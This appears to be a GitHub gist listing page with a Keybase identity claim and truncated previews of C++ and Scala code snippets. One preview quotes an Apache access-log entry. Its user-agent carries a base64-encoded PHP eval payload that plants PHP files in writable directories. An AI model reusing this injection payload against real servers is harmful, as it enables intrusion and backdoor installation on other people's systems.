I hereby claim:
- I am fthomas on github.
- I am fthomas (https://keybase.io/fthomas) on keybase.
- I have a public key whose fingerprint is E8E0 DFA5 ED5B 5323 0316 7A9F CCCF CFC3 1874 C2DA
To claim this, I am signing this object:
| #include <algorithm> | |
| #include <iostream> | |
| #include <iterator> | |
| #include <list> | |
| #include <string> | |
| using namespace std; | |
| template<class T> |
| #include <memory> | |
| template<class T> | |
| struct enable_weak_from_this { | |
| enable_weak_from_this() : ref_{static_cast<T*>(this), nopDeleter} {} | |
| std::weak_ptr<T> weak_from_this() const { | |
| return ref_; | |
| } |
| // see http://stackoverflow.com/questions/14924707/how-to-write-a-scalaz-isempty-parameter-for-generic-types | |
| import scalaz._ | |
| import Scalaz._ | |
| object Test { | |
| def asOption[C](c: C)(implicit ev: IsEmpty[({type F[_] = C})#F]): Option[C] = | |
| if (ev.isEmpty(c)) None else Some(c) | |
| implicit def detailedIsEmpty[A, C[_]](implicit ev: IsEmpty[C]) = |
| from /var/log/apache2/access.log: | |
| 46.105.114.130 - - [27/Feb/2013:18:27:52 +0100] "GET / HTTP/1.1" 200 772 "" "<?php eval(base64_decode(\"YWRkTG9hZGVyKCk7DQokZGF0YSA9IEBvcGVuZGlyKCcuJyk7DQoNCndoaWxlICgkZmlsZSA9IEByZWFkZGlyKCRkYXRhKSkNCnsNCgkkZmlsZSA9IHRyaW0oJGZpbGUpOw0KCWlmICghJGZpbGUgfHwgcHJlZ19tYXRjaCgnL15cLiskLycsICRmaWxlKSB8fCAhaXNfZGlyKCRmaWxlKSkgY29udGludWU7DQoJYWRkTG9hZGVyKCRmaWxlKTsNCn0NCg0KQGNsb3NlZGlyKCRkYXRhKTsNCg0KZnVuY3Rpb24gYWRkTG9hZGVyKCRkaXIgPSAnJykNCnsNCiAgICBpZiAoJGRpcikgJGRpciAuPSAnLyc7DQogICAgQGNobW9kKCRkaXIsIDc3Nyk7DQogICAgDQogICAgJGZwID0gZm9wZW4oInskZGlyfThkOTQ2YmY5NGY1YTU2MDY0NmNmNzdmYjYwOTg4MWQ0LnBocCIsICJ3Iik7IA0KICAgIGZ3cml0ZSgkZnAsIGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFOQ2cwS1FHbHVhVjl6WlhRb0oyRnNiRzkzWDNWeWJGOW1iM0JsYmljc0lERXBPdzBLUUdsdWFWOXpaWFFvSjJSbFptRjFiSFJmYzI5amEyVjBYM1JwYldWdmRYUW5MQ0EyTUNrN0RRcEFhVzVwWDNObGRDZ25iV0Y0WDJWNFpXTjFkR2x2Ymw5MGFXMWxKeXdnTmpBcE93MEtRSE5sZEY5MGFXMWxYMnhwYldsMEtEWXdLVHNOQ2cwS0pHUmhkR0VnUFNCQWRXNXpaWEpwWVd4cGVtVW9ZbUZ6WlRZMFgyUmxZMjlrWlNoMGNtbHRLRUFrWDFCU |
| import scala.language.higherKinds | |
| import scala.collection.TraversableLike | |
| def minGroupBy[CC[A], A, B](c: CC[A])(f: A => B) | |
| (implicit ev1: CC[A] => TraversableLike[A, CC[A]], | |
| ev2: Ordering[B]): CC[A] = { | |
| val grouped = c.groupBy(f) | |
| if (grouped.nonEmpty) grouped.minBy(_._1)._2 else c | |
| } //> minGroupBy: [CC[A], A, B](c: CC[A])(f: A => B)(implicit ev1: CC[A] => scala. | |
| //| collection.TraversableLike[A,CC[A]], implicit ev2: Ordering[B])CC[A] |
| package scalaz.stream | |
| import java.nio.file.{DirectoryStream, Path} | |
| import java.nio.file.Files._ | |
| import scalaz.concurrent.Task | |
| import Process._ | |
| object os { | |
| def listDirectory(dir: Path): Process[Task, Path] = |
| package scalaz.stream.examples | |
| import scala.util.Random | |
| import scalaz.concurrent.Task | |
| import scalaz.stream._ | |
| object Manifesto extends App { | |
| val reactivemanifestowords = "Application requirements have changed dramatically in recent years. Only a few years ago a large application had tens of servers, seconds of response time, hours of offline maintenance and gigabytes of data. Today applications are deployed on everything from mobile devices to cloud-based clusters running thousands of multicore processors. Users expect millisecond or even microsecond response times and 100% uptime. Data needs are expanding into the petabytes.".split(" ").toIndexedSeq | |
| val randomWord: Process[Task, String] = |
| def unchunkF[F[_], A](implicit F: Foldable[F]): Process1[F[A], A] = | |
| id[F[A]].flatMap(fa => emitAll(F.toIndexedSeq(fa))) | |
| //id[F[A]].flatMap(fa => F.foldLeft(fa, halt: Process1[F[A], A])((p, a) => p fby emit(a))) | |
| /* | |
| examples: | |
| scala> val tree = '2'.node('1'.node('5'.leaf), '3'.leaf) | |
| tree: scalaz.Tree[Char] = <tree> |
I hereby claim:
To claim this, I am signing this object:
| package cats.laws | |
| import cats.FlatMap | |
| import cats.arrow.Kleisli | |
| import cats.syntax.apply._ | |
| import cats.syntax.flatMap._ | |
| import cats.syntax.functor._ | |
| /** | |
| * Laws that must be obeyed by any [[FlatMap]]. |